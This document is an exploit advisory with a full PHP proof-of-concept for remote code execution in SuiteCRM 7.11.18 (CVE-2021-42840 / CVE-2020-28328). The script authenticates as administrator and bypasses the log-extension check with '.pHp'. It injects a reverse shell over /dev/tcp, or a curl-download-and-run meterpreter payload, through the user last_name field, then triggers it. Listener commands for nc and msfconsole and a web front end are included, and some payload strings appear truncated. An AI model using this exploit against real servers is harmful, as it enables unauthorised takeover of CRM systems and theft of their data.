============================================================================================================================================= | # Title : SuiteCRM 7.11.18 Log File Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://docs.suitecrm.com/admin/releases/7.11.x/ | ============================================================================================================================================= [+] Summary : SuiteCRM allows modification of the logging configuration. The log filename extension is not validated properly (.pHp accepted), causing the log to be interpreted as PHP. Then attacker injects PHP payload into the logs (changing username last_name field).The log file becomes a remote shell. This PHP PoC: - Authenticates as administrator - Modifies logging to create `.pHp` - Injects PHP payload into logs - Executes the payload remotely - Restores default config afterwards (optional) ## Tested On - Linux (Debian/Ubuntu/CentOS) - Windows (XAMPP/WAMP) - macOS (MAMP) ## Impact Remote Code Execution (RCE) Full takeover of SuiteCRM server ## Usage php exploit.php http://target.com admin pass ====================================================================== [+] POC : 'linux/x64/meterpreter/reverse_tcp', 'linux_cmd' => 'cmd/unix/reverse_bash' ]; public function __construct($options = []) { $this->target = rtrim($options['target'] ?? '', '/'); $this->username = $options['username'] ?? 'admin'; $this->password = $options['password'] ?? 'admin'; $this->lastname = $options['lastname'] ?? 'admin'; $this->restoreConf = $options['restore_conf'] ?? true; $this->writableDir = $options['writable_dir'] ?? '/tmp'; // Initialize cookie file $this->cookieFile = tempnam(sys_get_temp_dir(), 'suitecrm_cookie_'); $this->printBanner(); } private function printBanner() { echo "=====================================================\n"; echo "SuiteCRM Log File RCE Exploit (PHP Port)\n"; echo "CVE-2021-42840 / CVE-2020-28328\n"; echo "=====================================================\n"; echo "Target: {$this->target}\n"; echo "Username: {$this->username}\n"; echo "Restore Config: " . ($this->restoreConf ? 'Yes' : 'No') . "\n"; echo "=====================================================\n\n"; } public function check() { echo "[*] Checking if target is vulnerable...\n"; if (!$this->authenticate()) { return "Could not authenticate"; } $version = $this->getVersion(); if ($version === false) { return "Could not determine version"; } echo "[*] Detected SuiteCRM version: {$version}\n"; $patchedVersion = '7.11.18'; if (version_compare($version, $patchedVersion, '<=')) { return "VULNERABLE - SuiteCRM {$version} is vulnerable"; } else { return "PATCHED - SuiteCRM {$version} is not vulnerable"; } } private function getVersion() { $url = $this->target . '/index.php?module=Home&action=About'; $response = $this->httpRequest($url, 'GET'); if (!$response || !isset($response['body'])) { return false; } // Extract version using regex $pattern = '/Version\s+(\d+\.\d+\.\d+)/'; if (preg_match($pattern, $response['body'], $matches)) { return $matches[1]; } return false; } private function authenticate() { echo "[*] Authenticating as {$this->username}...\n"; $url = $this->target . '/index.php?module=Users&action=Login'; $initial = $this->httpRequest($url, 'GET'); if (!$initial) { echo "[-] Failed to access login page\n"; return false; } $loginData = [ 'module' => 'Users', 'action' => 'Authenticate', 'return_module' => 'Users', 'return_action' => 'Login', 'user_name' => $this->username, 'username_password' => $this->password, 'Login' => 'Log In' ]; $loginResponse = $this->httpRequest($this->target . '/index.php', 'POST', $loginData); if (!$loginResponse || $loginResponse['http_code'] != 302) { echo "[-] Login failed\n"; return false; } $adminUrl = $this->target . '/index.php?module=Administration&action=index'; $adminResponse = $this->httpRequest($adminUrl, 'GET'); return $this->authSucceeded($adminResponse); } private function authSucceeded($response) { if (!$response || $response['http_code'] != 200) { echo "[-] Failed to authenticate as: {$this->username}\n"; return false; } echo "[+] Authenticated as: {$this->username}\n"; if (strpos($response['body'], 'Unauthorized access to administration.') !== false) { echo "[!] Warning: {$this->username} does not have administrative rights!\n"; $this->isAdmin = false; } else { echo "[+] {$this->username} has administrative rights.\n"; $this->isAdmin = true; } $this->authenticated = true; return true; } private function modifySystemSettingsFile() { echo "[*] Modifying system settings file...\n"; $filename = $this->randomString(8); $extension = '.pHp'; // Mixed case to bypass validation $this->phpFilename = $filename . $extension; $boundary = '--------------------------' . microtime(true) * 10000; $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data .= "SaveConfig\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"module\"\r\n\r\n"; $data .= "Configurator\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"logger_file_name\"\r\n\r\n"; $data .= "{$filename}\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"logger_file_ext\"\r\n\r\n"; $data .= "{$extension}\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"logger_level\"\r\n\r\n"; $data .= "info\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"save\"\r\n\r\n"; $data .= "Save\r\n"; $data .= "--{$boundary}--\r\n"; $headers = [ 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Referer: ' . $this->target . '/index.php?module=Configurator&action=EditView' ]; $response = $this->httpRequest( $this->target . '/index.php', 'POST', $data, $headers ); return $this->checkLogfileRequest($response, 'Modify system settings'); } private function poisonLogFile($payloadType = 'cmd', $lhost = null, $lport = null) { echo "[*] Poisoning log file with payload...\n"; if ($payloadType == 'cmd') { $commandInjection = "& /dev/tcp/{$lhost}/{$lport} 0>&1'`; ?>"; } else { // linux/x64/meterpreter equivalent $this->meterpreterFilename = $this->writableDir . '/' . $this->randomString(8); $commandInjection = "downloadUrl} -o {$this->meterpreterFilename}; chmod 700 {$this->meterpreterFilename}; {$this->meterpreterFilename};`; ?>"; } $boundary = '--------------------------' . microtime(true) * 10000; $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"module\"\r\n\r\n"; $data .= "Users\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"record\"\r\n\r\n"; $data .= "1\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data .= "Save\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"page\"\r\n\r\n"; $data .= "EditView\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"return_action\"\r\n\r\n"; $data .= "DetailView\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"user_name\"\r\n\r\n"; $data .= $this->username . "\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"last_name\"\r\n\r\n"; $data .= $commandInjection . "\r\n"; $data .= "--{$boundary}--\r\n"; $headers = [ 'Content-Type: multipart/form-data; boundary=' . $boundary ]; $response = $this->httpRequest( $this->target . '/index.php', 'POST', $data, $headers ); return $this->checkLogfileRequest($response, 'Poison log file'); } private function restoreConfig() { if (!$this->restoreConf) { return true; } echo "[*] Restoring logging to default configuration...\n"; $boundary = '--------------------------' . microtime(true) * 10000; $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data .= "SaveConfig\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"module\"\r\n\r\n"; $data .= "Configurator\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"logger_file_name\"\r\n\r\n"; $data .= "suitecrm\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"logger_file_ext\"\r\n\r\n"; $data .= ".log\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"logger_level\"\r\n\r\n"; $data .= "fatal\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"save\"\r\n\r\n"; $data .= "Save\r\n"; $data .= "--{$boundary}--\r\n"; $headers = [ 'Content-Type: multipart/form-data; boundary=' . $boundary ]; $this->httpRequest($this->target . '/index.php', 'POST', $data, $headers); $boundary2 = '--------------------------' . microtime(true) * 10000; $data2 = "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"module\"\r\n\r\n"; $data2 .= "Users\r\n"; $data2 .= "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"record\"\r\n\r\n"; $data2 .= "1\r\n"; $data2 .= "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data2 .= "Save\r\n"; $data2 .= "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"page\"\r\n\r\n"; $data2 .= "EditView\r\n"; $data2 .= "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"return_action\"\r\n\r\n"; $data2 .= "DetailView\r\n"; $data2 .= "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"user_name\"\r\n\r\n"; $data2 .= $this->username . "\r\n"; $data2 .= "--{$boundary2}\r\n"; $data2 .= "Content-Disposition: form-data; name=\"last_name\"\r\n\r\n"; $data2 .= $this->lastname . "\r\n"; $data2 .= "--{$boundary2}--\r\n"; $headers2 = [ 'Content-Type: multipart/form-data; boundary=' . $boundary2 ]; $response = $this->httpRequest( $this->target . '/index.php', 'POST', $data2, $headers2 ); if ($response && $response['http_code'] == 301) { echo "[+] Configuration restored successfully\n"; return true; } else { echo "[-] Failed to restore configuration\n"; return false; } } private function checkLogfileRequest($response, $action) { if (!$response) { echo "[-] {$action} - No reply from server\n"; return false; } if ($response['http_code'] != 301) { echo "[-] {$action} - Failed (HTTP {$response['http_code']})\n"; return false; } echo "[+] {$action} - Success\n"; return true; } private function executePhp() { if (!$this->phpFilename) { echo "[-] No PHP filename set\n"; return false; } echo "[*] Executing PHP code in log file: {$this->phpFilename}\n"; $response = $this->httpRequest($this->target . '/' . $this->phpFilename, 'GET'); if ($response && $response['http_code'] == 404) { echo "[-] File not found: {$this->phpFilename}\n"; return false; } echo "[+] PHP file executed\n"; $this->cleanup(); return true; } private function cleanup() { echo "[*] Cleaning up...\n"; if (file_exists($this->cookieFile)) { unlink($this->cookieFile); } if ($this->restoreConf) { $this->restoreConfig(); } } private function startHttpServer($port = 8080) { echo "[*] Starting HTTP server for payload delivery...\n"; $this->downloadUrl = "http://{$_SERVER['SERVER_ADDR']}:{$port}/payload"; echo "[+] HTTP server ready at: {$this->downloadUrl}\n"; return true; } public function exploit($options = []) { $payloadType = $options['payload_type'] ?? 'cmd'; $lhost = $options['lhost'] ?? '127.0.0.1'; $lport = $options['lport'] ?? 4444; $this->startHttpServer($lport + 1); if (!$this->authenticate()) { echo "[-] Authentication failed\n"; return false; } if (!$this->isAdmin) { echo "[-] User does not have administrative rights\n"; return false; } if (!$this->modifySystemSettingsFile()) { return false; } if (!$this->poisonLogFile($payloadType, $lhost, $lport)) { return false; } if (!$this->executePhp()) { return false; } echo "\n[+] Exploit completed!\n"; echo "[+] Check your listener for connection\n"; return true; } private function httpRequest($url, $method = 'GET', $data = null, $headers = []) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookieFile); curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookieFile); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'); curl_setopt($ch, CURLOPT_HEADER, true); if ($method == 'POST') { curl_setopt($ch, CURLOPT_POST, true); if ($data) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } } if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if (curl_errno($ch)) { echo "[-] cURL Error: " . curl_error($ch) . "\n"; curl_close($ch); return false; } curl_close($ch); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); return [ 'http_code' => $httpCode, 'headers' => $headers, 'body' => $body ]; } private function randomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } public function __destruct() { $this->cleanup(); } } if (PHP_SAPI === 'cli') { echo "SuiteCRM RCE Exploit - CLI Interface\n"; echo "====================================\n\n"; // Parse command line arguments $shortopts = "t:u:p:l:P:T:r::h"; $longopts = [ "target:", "username:", "password:", "lhost:", "lport:", "payload-type:", "restore::", "help" ]; $options = getopt($shortopts, $longopts); if (isset($options['h']) || isset($options['help'])) { showHelp(); exit(0); } $required = ['target', 'username', 'password', 'lhost', 'lport']; foreach ($required as $param) { if (!isset($options[$param[0]]) && !isset($options[$param])) { echo "[-] Missing required parameter: {$param}\n"; showHelp(); exit(1); } } $config = [ 'target' => $options['t'] ?? $options['target'] ?? null, 'username' => $options['u'] ?? $options['username'] ?? 'admin', 'password' => $options['p'] ?? $options['password'] ?? 'admin', 'lastname' => $options['lastname'] ?? 'admin', 'restore_conf' => isset($options['r']) ? true : (isset($options['restore']) ? true : true), 'writable_dir' => '/tmp' ]; $exploitOptions = [ 'payload_type' => $options['T'] ?? $options['payload-type'] ?? 'cmd', 'lhost' => $options['l'] ?? $options['lhost'] ?? null, 'lport' => $options['P'] ?? $options['lport'] ?? null ]; try { $exploit = new SuiteCRMExploit($config); echo "\n[*] Running vulnerability check...\n"; $checkResult = $exploit->check(); echo "[*] Check result: {$checkResult}\n\n"; if (strpos($checkResult, 'VULNERABLE') === false) { echo "[!] Target may not be vulnerable. Continue? (y/N): "; $handle = fopen("php://stdin", "r"); $line = fgets($handle); if (trim($line) != 'y') { echo "[-] Exploit cancelled\n"; exit(0); } } echo "\n[*] Starting exploit...\n"; echo "[*] LHOST: {$exploitOptions['lhost']}\n"; echo "[*] LPORT: {$exploitOptions['lport']}\n"; echo "[*] Payload: {$exploitOptions['payload_type']}\n\n"; echo "[!] IMPORTANT: Start your listener before continuing!\n"; echo " For reverse_bash: nc -lvnp {$exploitOptions['lport']}\n"; echo " For meterpreter: msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {$exploitOptions['lhost']}; set LPORT {$exploitOptions['lport']}; run'\n\n"; echo "Press Enter to continue..."; $handle = fopen("php://stdin", "r"); fgets($handle); $success = $exploit->exploit($exploitOptions); if ($success) { echo "\n[+] Exploit completed successfully!\n"; } else { echo "\n[-] Exploit failed\n"; } } catch (Exception $e) { echo "[-] Error: " . $e->getMessage() . "\n"; exit(1); } } function showHelp() { echo "Usage: php suitecrm_exploit.php [OPTIONS]\n\n"; echo "Required:\n"; echo " -t, --target Target URL (e.g., http://192.168.1.100/suitecrm)\n"; echo " -u, --username Username (default: admin)\n"; echo " -p, --password Password (default: admin)\n"; echo " -l, --lhost Listener IP address\n"; echo " -P, --lport Listener port\n\n"; echo "Optional:\n"; echo " -T, --payload-type Payload type: cmd or meterpreter (default: cmd)\n"; echo " -r, --restore Restore configuration after exploit (default: yes)\n"; echo " --lastname Admin user last name for cleanup (default: admin)\n"; echo " -h, --help Show this help message\n\n"; echo "Examples:\n"; echo " php suitecrm_exploit.php -t http://target/suitecrm -u admin -p admin \\\n"; echo " -l 192.168.1.50 -P 4444 -T cmd\n"; echo " php suitecrm_exploit.php --target http://target/suitecrm --username admin \\\n"; echo " --password admin --lhost 10.0.0.5 --lport 9001 --payload-type meterpreter\n"; } if (PHP_SAPI !== 'cli') { ?> SuiteCRM RCE Exploit - Web Interface

SuiteCRM RCE Exploit

CVE-2021-42840 / CVE-2020-28328

'; try { $config = [ 'target' => $_POST['target'], 'username' => $_POST['username'], 'password' => $_POST['password'], 'restore_conf' => isset($_POST['restore_conf']), 'writable_dir' => '/tmp' ]; $exploitOptions = [ 'payload_type' => $_POST['payload_type'], 'lhost' => $_POST['lhost'], 'lport' => $_POST['lport'] ]; $exploit = new SuiteCRMExploit($config); echo "

Running exploit...

"; echo "
";
                    
                    // Capture output
                    ob_start();
                    $success = $exploit->exploit($exploitOptions);
                    $output = ob_get_clean();
                    
                    echo htmlspecialchars($output);
                    
                    if ($success) {
                        echo '

Exploit completed successfully!

'; echo '

Check your listener for connection.

'; } else { echo '

Exploit failed!

'; } echo "
"; } catch (Exception $e) { echo '

Error: ' . htmlspecialchars($e->getMessage()) . '

'; } echo '
'; } ?>

Usage Notes: